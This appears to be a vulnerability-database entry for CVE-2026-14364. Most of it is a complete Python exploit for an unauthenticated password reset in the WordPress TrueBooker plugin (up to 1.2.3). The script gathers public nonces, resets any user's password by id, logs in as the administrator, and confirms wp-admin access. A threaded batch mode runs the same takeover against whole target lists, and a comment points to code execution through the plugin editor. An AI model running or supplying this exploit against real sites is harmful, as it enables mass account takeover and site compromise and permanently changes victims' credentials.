📄 TrueBooker 1.2.3 Unauthenticated Password Reset
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-14364 | 7 Aug 202604:25 | – | attackerkb | |
| CVE-2026-14364 | 9 Aug 202609:00 | – | circl | |
| CVE-2026-14364 | 7 Aug 202604:25 | – | cve | |
| CVE-2026-14364 TrueBooker <= 1.2.3 - Missing Authorization to Unauthenticated Arbitrary Password Reset via 'tbab-userid' | 7 Aug 202604:25 | – | cvelist | |
| EUVD-2026-54367 | 7 Aug 202604:25 | – | euvd | |
| CVE-2026-14364 | 7 Aug 202605:16 | – | nvd | |
| WordPress TrueBooker – Appointment Booking and Scheduler System plugin <= 1.2.3 - Missing Authorization to Unauthenticated Arbitrary Password Reset vulnerability | 11 Aug 202606:44 | – | patchstack | |
| CVE-2026-14364 TrueBooker <= 1.2.3 - Missing Authorization to Unauthenticated Arbitrary Password Reset via 'tbab-userid' | 7 Aug 202604:25 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-14364 - TrueBooker unauthenticated arbitrary password reset (CWE-640)
Affected: WordPress plugin "TrueBooker - Appointment Booking and Scheduler System"
(slug: truebooker-appointment-booking) <= 1.2.3, fixed in 1.2.4
Type: Auth bypass / account takeover (unauthenticated)
The AJAX action `user_front_resetpass` is registered for `nopriv` callers and hands the
target user id, reset key and new password straight to `truebookerMyaccount::userresetPassword()`.
The whole reset-key validation lives inside `if (!empty($key))`, where `$key` is the target's
`user_activation_key` column. That column is empty for every account that is not in the middle
of a reset flow, so for a normal account the branch is skipped, no error is recorded, and
control falls through to `wp_set_password($tbabpassword, $user_id)` with the user id taken
verbatim from the attacker's `tbab-userid` field. The two nonces guarding the endpoint are
plain CSRF tokens minted for user id 0 and printed on public pages, so they are harvestable
anonymously and are not authorisation.
Reset any account by id, then log in as it. Against the primary administrator (id 1) this is
full site takeover, and on WordPress that reaches RCE through the plugin/theme editor.
WARNING: this exploit is inherently destructive. Confirming the bug requires actually setting
the target's password, because the vulnerable and patched builds only diverge after the write.
There is no non-destructive discriminator. That applies to --list scan mode too: every
vulnerable host in the list has the password of user --userid changed.
Usage:
python exploit.py --host 192.168.1.10 --port 8080
python exploit.py --host https://target.com --username admin
python exploit.py --host https://target.com:8443/blog --userid 2
python exploit.py --host 10.0.0.5 --port 8080 --new-password 'Chosen_Pass_123'
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlencode, urlparse
import requests
try:
import urllib3
urllib3.disable_warnings()
except Exception:
pass
CVE_ID = "CVE-2026-14364"
VULN_TYPE = "Auth Bypass / Account Takeover"
AJAX_ACTION = "user_front_resetpass"
MYACCOUNT_QS = "/?pagename=tbab-my-account"
ADMIN_AJAX = "/wp-admin/admin-ajax.php"
LOGIN_PATH = "/wp-login.php"
ADMIN_PATH = "/wp-admin/"
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
TIMEOUT = 15
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core primitives - pure network I/O, no assumptions about the target's host #
# --------------------------------------------------------------------------- #
def build_base(host: str, port: int, use_tls: bool, path: str = "/") -> str:
"""Assemble the WordPress root URL. `path` allows a subdirectory install."""
scheme = "https" if use_tls else "http"
default_port = 443 if use_tls else 80
netloc = host if port == default_port else f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def gen_password() -> str:
"""Run-unique password so a rerun against an already-owned host cannot pass on a
stale credential and look like a success it did not earn."""
return "Alim_" + secrets.token_hex(6) + "_Pw1"
def harvest_nonces(base: str, timeout: int = TIMEOUT) -> tuple:
"""Fetch the plugin's my-account page anonymously and pull both nonces out of it.
Returns (action_nonce, meta_nonce). Either may be None if not present.
Both must be harvested with no WordPress cookies attached, so they are computed for
user id 0 and validate on the anonymous exploit request that follows.
"""
r = requests.get(base + MYACCOUNT_QS, timeout=timeout, verify=False,
headers={"User-Agent": DEFAULT_UA}, allow_redirects=True)
html = r.text
# truebooker_nonce_action, inlined by wp_localize_script as ajax_object.nonce
action_nonce = None
blk = re.search(r"ajax_object\s*=\s*(\{.*?\})\s*;", html, re.S)
if blk:
m = re.search(r'"nonce"\s*:\s*"([0-9a-zA-Z]{6,20})"', blk.group(1))
if m:
action_nonce = m.group(1)
if not action_nonce:
m = re.search(r'"nonce"\s*:\s*"([0-9a-f]{8,12})"', html)
if m:
action_nonce = m.group(1)
# truebooker_meta_box_nonce, emitted by wp_nonce_field in the reset/login templates
meta_nonce = None
for pattern in (
r'truebooker_meta_box_noncename"[^>]*?value="([0-9a-zA-Z]{6,20})"',
r'value="([0-9a-zA-Z]{6,20})"[^>]*?name="truebooker_meta_box_noncename"',
):
m = re.search(pattern, html)
if m:
meta_nonce = m.group(1)
break
return action_nonce, meta_nonce
def reset_password(base: str, action_nonce: str, meta_nonce: str, userid: int,
new_password: str, timeout: int = TIMEOUT):
"""Fire the unauthenticated reset. Returns (http_status, raw_body, parsed_json_or_None).
`alldata` is a query string nested inside a form field: the handler does
parse_str($_POST['alldata'], $searcharray) and never reads $_POST directly, so the
inner string is built first and URL-encoded exactly once as the value of `alldata`.
`tbab-activekey` is sent explicitly empty - omitting it still exploits but raises a
PHP 8 "Undefined array key" notice that can precede the JSON body.
"""
inner = urlencode([
("truebooker_meta_box_noncename", meta_nonce or ""),
("tbab-userid", str(userid)),
("tbab-activekey", ""),
("tbab-password", new_password),
("tbab-password-1", new_password),
])
payload = {"action": AJAX_ACTION, "security": action_nonce or "", "alldata": inner}
r = requests.post(base + ADMIN_AJAX, data=payload, timeout=timeout, verify=False,
headers={"User-Agent": DEFAULT_UA,
"Content-Type": "application/x-www-form-urlencoded"})
body = r.text
parsed = None
brace = body.find("{")
if brace != -1:
try:
parsed = json.loads(body[brace:])
except ValueError:
parsed = None
return r.status_code, body, parsed
def try_login(base: str, username: str, password: str, timeout: int = TIMEOUT) -> tuple:
"""Authenticate at /wp-login.php. Returns (ok, cookie_name, session_or_None).
Success is a 302 carrying a `wordpress_logged_in_*` cookie. That cookie is the
unambiguous, network-observable proof of takeover.
"""
s = requests.Session()
s.headers.update({"User-Agent": DEFAULT_UA})
s.cookies.set("wordpress_test_cookie", "WP Cookie check")
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": base + ADMIN_PATH,
"testcookie": "1",
}
try:
r = s.post(base + LOGIN_PATH, data=data, timeout=timeout, verify=False,
allow_redirects=False)
except requests.RequestException:
return False, None, None
for name in r.cookies.keys():
if name.startswith("wordpress_logged_in_"):
return True, name, s
return False, None, None
def fetch_dashboard(session, base: str, timeout: int = TIMEOUT) -> tuple:
"""Follow the session into /wp-admin/. Returns (ok, snippet)."""
try:
r = session.get(base + ADMIN_PATH, timeout=timeout, verify=False,
allow_redirects=False)
except requests.RequestException as e:
return False, f"request failed: {e.__class__.__name__}"
if r.status_code != 200:
return False, f"HTTP {r.status_code} (redirected back to login - session invalid)"
title = re.search(r"<title>(.*?)</title>", r.text, re.S)
howdy = re.search(r"Howdy,\s*(?:<span[^>]*>)?\s*([^<\r\n]{1,60})", r.text)
bits = []
if title:
bits.append("title: " + title.group(1).strip())
if howdy:
bits.append("greeting: Howdy, " + howdy.group(1).strip())
if not bits:
bits.append(f"HTTP 200, {len(r.text)} bytes of wp-admin markup")
return True, " | ".join(bits)
def resolve_userid(base: str, username: str, timeout: int = TIMEOUT):
"""Best-effort id lookup via the public REST user route. Returns int or None."""
try:
r = requests.get(base + "/wp-json/wp/v2/users", timeout=timeout, verify=False,
params={"per_page": 100}, headers={"User-Agent": DEFAULT_UA})
users = r.json()
except Exception:
return None
if not isinstance(users, list):
return None
for u in users:
if not isinstance(u, dict):
continue
if username in (u.get("slug"), u.get("name")):
try:
return int(u.get("id"))
except (TypeError, ValueError):
return None
return None
def error_text(parsed) -> str:
"""Flatten the handler's error_message map into one readable line."""
if not isinstance(parsed, dict):
return ""
err = parsed.get("error_message")
if isinstance(err, dict) and err:
return "; ".join(f"{k}: {v}" for k, v in err.items())
return ""
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
userid: int = 1, username: str = "admin",
new_password: str = None, timeout: int = TIMEOUT) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
base = build_base(host, port, use_tls, path)
pw = new_password or gen_password()
try:
action_nonce, meta_nonce = harvest_nonces(base, timeout)
if not action_nonce or not meta_nonce:
missing = []
if not action_nonce:
missing.append("truebooker_nonce_action")
if not meta_nonce:
missing.append("truebooker_meta_box_nonce")
return False, "nonce harvest failed (" + ", ".join(missing) + ") - plugin likely absent"
status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
if body.strip() == "-1":
return False, "admin-ajax rejected the security nonce (HTTP %d)" % status
if body.strip() == "0":
return False, "action not routed - plugin inactive"
if not isinstance(parsed, dict) or "successmessage" not in parsed:
reason = error_text(parsed) or ("unexpected body: " + body[:80].replace("\n", " "))
return False, "blocked - " + reason
ok, cookie_name, session = try_login(base, username, pw, timeout)
if not ok:
return False, "reset accepted but login as '%s' failed - id %d may not be that user" % (username, userid)
return True, "password of user id %d reset, logged in as '%s' (%s)" % (userid, username, cookie_name)
except requests.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s: %s)" % (e.__class__.__name__, e)
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
userid: int = 1, username: str = "admin", new_password: str = None,
timeout: int = TIMEOUT) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
# Dedupe: the same host written two ways (bare and as a URL) would otherwise be
# exploited by two threads at once, each setting its own password, and whichever
# reset lands second makes the other thread's login fail - a false negative.
seen = set()
unique = []
for t in targets:
if t not in seen:
seen.add(t)
unique.append(t)
dropped = len(targets) - len(unique)
targets = unique
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f" DESTRUCTIVE: on every vulnerable host, user id {userid} gets a new password")
if dropped:
print(f" ({dropped} duplicate target line(s) collapsed)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, userid, username,
new_password, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
userid, new_password: str, timeout: int) -> None:
header(host, port)
base = build_base(host, port, use_tls, path)
pw = new_password or gen_password()
step(1, f"Harvesting anonymous nonces from {base}{MYACCOUNT_QS}")
try:
action_nonce, meta_nonce = harvest_nonces(base, timeout)
except requests.RequestException as e:
done(False, f"Target unreachable: {e.__class__.__name__}: {e}")
if not action_nonce or not meta_nonce:
section("HARVEST RESULT",
f"truebooker_nonce_action = {action_nonce}\n"
f"truebooker_meta_box_nonce = {meta_nonce}")
done(False, "Could not harvest both nonces - TrueBooker is probably not installed "
"or the [truebooker-myaccount] page is missing")
section("HARVESTED NONCES",
f"truebooker_nonce_action = {action_nonce}\n"
f"truebooker_meta_box_nonce = {meta_nonce}")
step(2, f"Resolving target user id for '{username}'")
if userid is None:
resolved = resolve_userid(base, username, timeout)
if resolved is not None:
userid = resolved
print(f" resolved via /wp-json/wp/v2/users -> id {userid}")
else:
userid = 1
print(f" REST enumeration unavailable, assuming id {userid} "
f"(the installer's primary administrator)")
else:
print(f" using operator-supplied id {userid}")
step(3, f"Baseline: confirming '{pw}' is NOT already a valid password for '{username}'")
pre_ok, _, _ = try_login(base, username, pw, timeout)
if pre_ok:
done(False, "The generated password already authenticates before the exploit ran - "
"cannot attribute a later login to the vulnerability")
print(" rejected as expected, so any later login is caused by our reset")
step(4, f"Sending unauthenticated reset for user id {userid} with an EMPTY tbab-activekey")
try:
status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
except requests.RequestException as e:
done(False, f"Reset request failed: {e.__class__.__name__}: {e}")
section(f"ADMIN-AJAX RESPONSE (HTTP {status})", body[:1200])
if body.strip() == "-1":
done(False, "check_ajax_referer rejected the 'security' nonce - re-harvest it and "
"make sure no WordPress cookies were sent")
if body.strip() == "0":
done(False, f"admin-ajax did not route action '{AJAX_ACTION}' - plugin inactive")
if not isinstance(parsed, dict) or "successmessage" not in parsed:
reason = error_text(parsed)
if "key is invalid" in reason:
done(False, "Reset refused with 'key is invalid' - the target is PATCHED (1.2.4+ "
"treats an empty user_activation_key as failure), or a reset is already "
"pending for this account")
done(False, f"No successmessage in response - {reason or 'unexpected body'}")
print(f" handler reported: {parsed.get('successmessage')}")
step(5, f"Authenticating as '{username}' with the attacker-chosen password")
ok, cookie_name, session = try_login(base, username, pw, timeout)
if not ok:
done(False, f"Reset was accepted but login as '{username}' failed - user id {userid} "
f"is probably a different account (try --username / --userid)")
section("SESSION COOKIE", f"{cookie_name} issued by {base}{LOGIN_PATH}")
step(6, "Confirming the session by loading /wp-admin/")
dash_ok, snippet = fetch_dashboard(session, base, timeout)
section("WP-ADMIN RESPONSE", snippet)
creds = f"{username} / {pw}"
if dash_ok:
done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
f"without any token; logged in ({cookie_name}) and loaded /wp-admin/. "
f"Credentials now: {creds}")
done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
f"without any token; {cookie_name} issued at login. wp-admin: {snippet}. "
f"Credentials now: {creds}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} exploit PoC - TrueBooker <= 1.2.3 unauthenticated password reset",
epilog="DESTRUCTIVE: the target account's password is permanently changed.")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--username", default="admin",
help="Target account to authenticate as without credentials (default: admin)")
parser.add_argument("--userid", type=int, default=None,
help="Numeric WordPress user id to reset (default: resolve --username via "
"the REST API, falling back to 1)")
parser.add_argument("--new-password", default=None,
help="Password to set (default: a fresh run-unique one, min 5 chars)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=int, default=TIMEOUT, help=f"Per-request timeout (default: {TIMEOUT})")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.new_password is not None and len(args.new_password) < 5:
parser.error("--new-password must be at least 5 characters (the handler enforces this)")
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
userid=args.userid if args.userid is not None else 1,
username=args.username, new_password=args.new_password, timeout=args.timeout)
else:
parsed_target = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed_target if parsed_target else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.userid,
args.new_password, args.timeout)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.19.8
EPSS0.00285
SSVC